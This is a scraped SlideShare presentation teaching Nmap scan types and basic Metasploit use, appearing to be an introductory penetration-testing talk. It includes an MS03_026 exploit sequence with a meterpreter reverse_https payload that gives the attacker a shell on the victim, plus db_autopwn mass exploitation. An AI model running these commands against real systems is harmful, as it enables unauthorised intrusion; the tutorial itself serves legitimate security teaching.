SlideShare a Scribd company logo
Using Nmap and MetasploitPresented by: Conrad Browncbrown@radnetworx.comhttp://www.lokisec.comhttp://twitter.com/guardrad
Who I amFounder of Lokisec.com and Southern Maryland Hacker SpaceAlphabet SoupA+, Net+, Sec+, MCSE, MCITP, CEH, ECSANot an expert inMetasploit or Nmap
What is Nmap?Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).
TCP Connection FlowSource: http://publib.boulder.ibm.com/infocenter/tpfhelp/current/index.jsp?topic=%2Fcom.ibm.ztpf-ztpfdf.doc_put.cur%2Fgtps5%2Fs5tcpcf.html
Typical Nmap scans-sS: TCP SYNsS tells Nmap to send a SYN packet to Nmap’s default port list, which includes the most common ports a service my run on.  If a SYN/ACK packet is received then the port is open.  If a RST packet is received then the port is closed.-sT: Connect()sT tells Nmap to issue a connect() system call to each port in Nmap’s default port list. If the connect() call is successful then the port is open. If it fails or is blocked then the port is closed.
Typical Nmap scans cont.-sA: ACKsA tells Nmap to send an ACK packet to Nmap’s default port list.  If a RST packet has been received then those ports are marked as unfiltered.  This means that there was not a stateful firewall prior to your target.  If some other message is received then Nmap marks those ports as filtered.-sW: WindowsW tells Nmap to send an ACK packet to Nmap’s default port list just like -sA.  This scan however looks at the TCP Window property.  Open ports have a window size listed.  Closed ports will have a 0 window size listed.
Typical Nmap scans cont.-sM: Maimon scanssM tells Nmap to send a Fin/ACK to Nmap’s default port list.  Most systems respond with a RST packet for both opened and closed ports.  However, some BSD systems will drop the packet if the port is opened.-sU: UDP ScansU tells Nmap to send an empty UDP packet to Nmap’s default port list.  If an ICMP type 3 code 3 message is returned then the port is marked as closed.  If an ICMP type 3 codes 1, 2, 9, 10, or 13 is returned then the port is labeled as filtered.  If a service responds then the port is open.  If a service responds and then does not respond to a second UDP packet then the port labeled as open filtered.
Typical Nmap scans cont.-sN: TCP NullsN tells Nmap to send an empty or Null packet to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed.  If the port is open then no response is given.  This only works on devices that are compliant with RFC 793.-sF: FINsF tells Nmap to send a packet with the FIN bit set to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed.  If the port is open then no response is given.  This only works on devices that are compliant with RFC 793.
Typical Nmap scans cont.-sX: Xmas ScansX tells Nmap to send a packet with the FIN, PSH, and URG bits set to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
Scan our target using NmapLet’s get the open TCP ports and the OSNmap -sS -O -v <Target IP/Range>
A wealth of informationAs you can see we have TCP ports 135, 139, 445, 1025, and 5000 opened.There’s a good chance this is a Windows box.-O -v tells us that it is an unpatched 2000 or XP box.
Searching through CVEsWith the information from the Nmap scan look through cve.mitre.orgCVE-2003-0812 (MS03_026)CVE-2006-4688 (MS06_066)
What is Metasploit?The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits.
What is Metasploit?Features are constantly evolving which means items that once worked one way may not work that way now.
TermsVulnerability - a weakness which allows attackers to reduce a system’s information assurance.Exploit - a piece of code that takes advantage of a systems vulnerabilities.Payload - a piece of software that lets you control a system after it has been exploited.
Open MetasploitCD /pentest/exploits/framework./msfconsole
Easy exploit: MS03_026Use exploit/windows/dcerpc/ms03_026_dcomSet payload windows/meterpreter/reverse_httpsSet lhost <IP of Metasploit machine>Set rhost <IP of victim>exploit
Shell!Now you have shell on the box and can have your way with it.
Another (noisy) way!Start mySQLstart mysqlStart Metasploitmsfconsole
Another (noisy) way! cont.Tell Metasploit to use the mySQL DB driver:db_drivermysqlTell Metasploit to connect to the database:db_connect root:toor@127.0.0.1/<db>
Another (noisy) way! cont.Run Nmap inside Metasploit and auto populate the database with targets:db_nmap -sS -O -v <Target>Check the database for information gathered:hostsservices
Another (noisy) way! cont.db_autopwn -t -p -edb_autopwn tries all known exploits to vulnerabilities that match the criteria (services) in the database.Again this is noisy!
Better use of db_autopwndb_autopwn -p -tThis will show you exploits that match the opened ports.  This will narrow your exploit search down to those that could potentially work instead of going through all of the CVEs.

More Related Content

What's hot (20)

PPTX
Recon with Nmap
OWASP Delhi
 
PPT
Access over Ethernet: Insecurites in AoE
amiable_indian
 
PPTX
Nmap and metasploitable
Mohammed Akbar Shariff
 
PPTX
Understanding NMAP
Phannarith Ou, G-CISO
 
PPTX
Networking in linux
Varnnit Jain
 
PPTX
NMap
Pritesh Raka
 
PPTX
Netcat
penetration Tester
 
PPTX
Nmap
Megha Sahu
 
PPT
Nmap(network mapping)
SSASIT
 
PPT
Sniffing in a Switched Network
amiable_indian
 
PDF
Hacking With Nmap - Scanning Techniques
amiable_indian
 
PDF
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
idsecconf
 
PPTX
Client side exploits
nickyt8
 
PDF
Monit
Abhishek Singh
 
ODP
Scanning with nmap
commiebstrd
 
PDF
CNIT 50: 6. Command Line Packet Analysis Tools
Sam Bowne
 
PDF
Nmap for Scriptors
n|u - The Open Security Community
 
PDF
Network Mapper (NMAP)
KHNOG
 
PPTX
NMAP
PrateekAryan1
 
Recon with Nmap
OWASP Delhi
 
Access over Ethernet: Insecurites in AoE
amiable_indian
 
Nmap and metasploitable
Mohammed Akbar Shariff
 
Understanding NMAP
Phannarith Ou, G-CISO
 
Networking in linux
Varnnit Jain
 
Nmap(network mapping)
SSASIT
 
Sniffing in a Switched Network
amiable_indian
 
Hacking With Nmap - Scanning Techniques
amiable_indian
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
idsecconf
 
Client side exploits
nickyt8
 
Scanning with nmap
commiebstrd
 
CNIT 50: 6. Command Line Packet Analysis Tools
Sam Bowne
 
Network Mapper (NMAP)
KHNOG
 

Viewers also liked (20)

PDF
Nmap Basics
amiable_indian
 
PPTX
carbon credit
Jithin Krishnan
 
PPTX
государственные люди м.и. кутузов
Iren Zielinski
 
PPTX
Evaluation question2
leeyameghani
 
PDF
Conduccion politica
Andrea Elizabeth Vidal
 
PDF
Cоздание библиотечных фотоальбомов и Google+
Iren Zielinski
 
PPTX
путеводитель по виртуальной информационно краеведческой выставке
Iren Zielinski
 
PPT
Jennifer's class presentation
jennifercombs371
 
PPT
Cookstream
Anna Odintsova
 
PPT
писатели и художники
Iren Zielinski
 
ODP
Jennifer's class presentation
jennifercombs371
 
PPT
Chibyke Global Systems Limited Profile
Chibuike Ogbuanu
 
PPTX
Pre questionnaire graphs
leeyameghani
 
PPTX
Presentation11 111017084500-phpapp01
leeyameghani
 
PPTX
военные деятели россии
Iren Zielinski
 
PPTX
военные деятели россии
Iren Zielinski
 
PDF
Mobile health insurance exchange
Kuljeet Kaur
 
PPTX
DESAFIO
cmam11
 
PPTX
устный журнал
Iren Zielinski
 
Nmap Basics
amiable_indian
 
carbon credit
Jithin Krishnan
 
государственные люди м.и. кутузов
Iren Zielinski
 
Evaluation question2
leeyameghani
 
Conduccion politica
Andrea Elizabeth Vidal
 
Cоздание библиотечных фотоальбомов и Google+
Iren Zielinski
 
путеводитель по виртуальной информационно краеведческой выставке
Iren Zielinski
 
Jennifer's class presentation
jennifercombs371
 
Cookstream
Anna Odintsova
 
писатели и художники
Iren Zielinski
 
Jennifer's class presentation
jennifercombs371
 
Chibyke Global Systems Limited Profile
Chibuike Ogbuanu
 
Pre questionnaire graphs
leeyameghani
 
Presentation11 111017084500-phpapp01
leeyameghani
 
военные деятели россии
Iren Zielinski
 
военные деятели россии
Iren Zielinski
 
Mobile health insurance exchange
Kuljeet Kaur
 
DESAFIO
cmam11
 
устный журнал
Iren Zielinski
 
Ad

Similar to Using metasploit (20)

DOCX
Contents namp
shwetha mk
 
DOCX
Contents namp
shwetha mk
 
PPTX
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Boston Institute of Analytics
 
PPTX
Null Delhi chapter - Feb 2019
Nikhil Raj
 
PPT
Module 3 Scanning
leminhvuong
 
PPTX
Network scanning
MD SAQUIB KHAN
 
PDF
Practical White Hat Hacker Training - Active Information Gathering
PRISMA CSI
 
PDF
NMap 101 offline meetup by CyberForge Academy
cyberforgeacademy
 
PDF
eLea4555555555555555555555555555555rnSecurity .pdf
sheetcyber
 
PDF
A Study Of Open Ports As Security Vulnerabilities In Common User Computers
Joshua Gorinson
 
PDF
Ch 5: Port Scanning
Sam Bowne
 
PPT
NMAP1.ppt
DakshKhurana15
 
PDF
Complete Nmap Scanning Commands CheatSheet by Hackopedia Utkarsh Thakur
Hackopedia Utkarsh Thakur
 
PDF
The Art of Grey-Box Attack
Prathan Phongthiproek
 
PDF
A COMPREHENSIVE ANALYSIS OF NETWORK SCANNING AND SECURITY ASSESSMENT TOOL
IJNSA Journal
 
DOCX
This Assignment consists of Amazon Web services
Mahesh688216
 
PPTX
Network Penetration Testing
Mohammed Adam
 
DOCX
Backtrack Manual Part3
Nutan Kumar Panda
 
PPTX
Exploring Kali Linux Tools for Website Scanning via IP Address
Boston Institute of Analytics
 
Contents namp
shwetha mk
 
Contents namp
shwetha mk
 
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Boston Institute of Analytics
 
Null Delhi chapter - Feb 2019
Nikhil Raj
 
Module 3 Scanning
leminhvuong
 
Network scanning
MD SAQUIB KHAN
 
Practical White Hat Hacker Training - Active Information Gathering
PRISMA CSI
 
NMap 101 offline meetup by CyberForge Academy
cyberforgeacademy
 
eLea4555555555555555555555555555555rnSecurity .pdf
sheetcyber
 
A Study Of Open Ports As Security Vulnerabilities In Common User Computers
Joshua Gorinson
 
Ch 5: Port Scanning
Sam Bowne
 
NMAP1.ppt
DakshKhurana15
 
Complete Nmap Scanning Commands CheatSheet by Hackopedia Utkarsh Thakur
Hackopedia Utkarsh Thakur
 
The Art of Grey-Box Attack
Prathan Phongthiproek
 
A COMPREHENSIVE ANALYSIS OF NETWORK SCANNING AND SECURITY ASSESSMENT TOOL
IJNSA Journal
 
This Assignment consists of Amazon Web services
Mahesh688216
 
Network Penetration Testing
Mohammed Adam
 
Backtrack Manual Part3
Nutan Kumar Panda
 
Exploring Kali Linux Tools for Website Scanning via IP Address
Boston Institute of Analytics
 
Ad

Recently uploaded (20)

PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PDF
Staying Human in a Machine- Accelerated World
Catalin Jora
 
DOCX
Cryptography Quiz: test your knowledge of this important security concept.
Rajni Bhardwaj Grover
 
PDF
Biography of Daniel Podor.pdf
Daniel Podor
 
PDF
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
PDF
Advancing WebDriver BiDi support in WebKit
Igalia
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
PPTX
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
PDF
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PPTX
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
PDF
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
PPTX
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
PDF
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PDF
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
Staying Human in a Machine- Accelerated World
Catalin Jora
 
Cryptography Quiz: test your knowledge of this important security concept.
Rajni Bhardwaj Grover
 
Biography of Daniel Podor.pdf
Daniel Podor
 
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
Advancing WebDriver BiDi support in WebKit
Igalia
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
Mastering Financial Management in Direct Selling
Epixel MLM Software
 

Using metasploit

  • 1. Using Nmap and MetasploitPresented by: Conrad [email protected]://www.lokisec.comhttp://twitter.com/guardrad
  • 2. Who I amFounder of Lokisec.com and Southern Maryland Hacker SpaceAlphabet SoupA+, Net+, Sec+, MCSE, MCITP, CEH, ECSANot an expert inMetasploit or Nmap
  • 3. What is Nmap?Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).
  • 4. TCP Connection FlowSource: http://publib.boulder.ibm.com/infocenter/tpfhelp/current/index.jsp?topic=%2Fcom.ibm.ztpf-ztpfdf.doc_put.cur%2Fgtps5%2Fs5tcpcf.html
  • 5. Typical Nmap scans-sS: TCP SYNsS tells Nmap to send a SYN packet to Nmap’s default port list, which includes the most common ports a service my run on. If a SYN/ACK packet is received then the port is open. If a RST packet is received then the port is closed.-sT: Connect()sT tells Nmap to issue a connect() system call to each port in Nmap’s default port list. If the connect() call is successful then the port is open. If it fails or is blocked then the port is closed.
  • 6. Typical Nmap scans cont.-sA: ACKsA tells Nmap to send an ACK packet to Nmap’s default port list. If a RST packet has been received then those ports are marked as unfiltered. This means that there was not a stateful firewall prior to your target. If some other message is received then Nmap marks those ports as filtered.-sW: WindowsW tells Nmap to send an ACK packet to Nmap’s default port list just like -sA.  This scan however looks at the TCP Window property.  Open ports have a window size listed.  Closed ports will have a 0 window size listed.
  • 7. Typical Nmap scans cont.-sM: Maimon scanssM tells Nmap to send a Fin/ACK to Nmap’s default port list. Most systems respond with a RST packet for both opened and closed ports. However, some BSD systems will drop the packet if the port is opened.-sU: UDP ScansU tells Nmap to send an empty UDP packet to Nmap’s default port list. If an ICMP type 3 code 3 message is returned then the port is marked as closed. If an ICMP type 3 codes 1, 2, 9, 10, or 13 is returned then the port is labeled as filtered. If a service responds then the port is open. If a service responds and then does not respond to a second UDP packet then the port labeled as open filtered.
  • 8. Typical Nmap scans cont.-sN: TCP NullsN tells Nmap to send an empty or Null packet to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.-sF: FINsF tells Nmap to send a packet with the FIN bit set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
  • 9. Typical Nmap scans cont.-sX: Xmas ScansX tells Nmap to send a packet with the FIN, PSH, and URG bits set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
  • 10. Scan our target using NmapLet’s get the open TCP ports and the OSNmap -sS -O -v <Target IP/Range>
  • 11. A wealth of informationAs you can see we have TCP ports 135, 139, 445, 1025, and 5000 opened.There’s a good chance this is a Windows box.-O -v tells us that it is an unpatched 2000 or XP box.
  • 12. Searching through CVEsWith the information from the Nmap scan look through cve.mitre.orgCVE-2003-0812 (MS03_026)CVE-2006-4688 (MS06_066)
  • 13. What is Metasploit?The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits.
  • 14. What is Metasploit?Features are constantly evolving which means items that once worked one way may not work that way now.
  • 15. TermsVulnerability - a weakness which allows attackers to reduce a system’s information assurance.Exploit - a piece of code that takes advantage of a systems vulnerabilities.Payload - a piece of software that lets you control a system after it has been exploited.
  • 17. Easy exploit: MS03_026Use exploit/windows/dcerpc/ms03_026_dcomSet payload windows/meterpreter/reverse_httpsSet lhost <IP of Metasploit machine>Set rhost <IP of victim>exploit
  • 18. Shell!Now you have shell on the box and can have your way with it.
  • 19. Another (noisy) way!Start mySQLstart mysqlStart Metasploitmsfconsole
  • 20. Another (noisy) way! cont.Tell Metasploit to use the mySQL DB driver:db_drivermysqlTell Metasploit to connect to the database:db_connect root:[email protected]/<db>
  • 21. Another (noisy) way! cont.Run Nmap inside Metasploit and auto populate the database with targets:db_nmap -sS -O -v <Target>Check the database for information gathered:hostsservices
  • 22. Another (noisy) way! cont.db_autopwn -t -p -edb_autopwn tries all known exploits to vulnerabilities that match the criteria (services) in the database.Again this is noisy!
  • 23. Better use of db_autopwndb_autopwn -p -tThis will show you exploits that match the opened ports. This will narrow your exploit search down to those that could potentially work instead of going through all of the CVEs.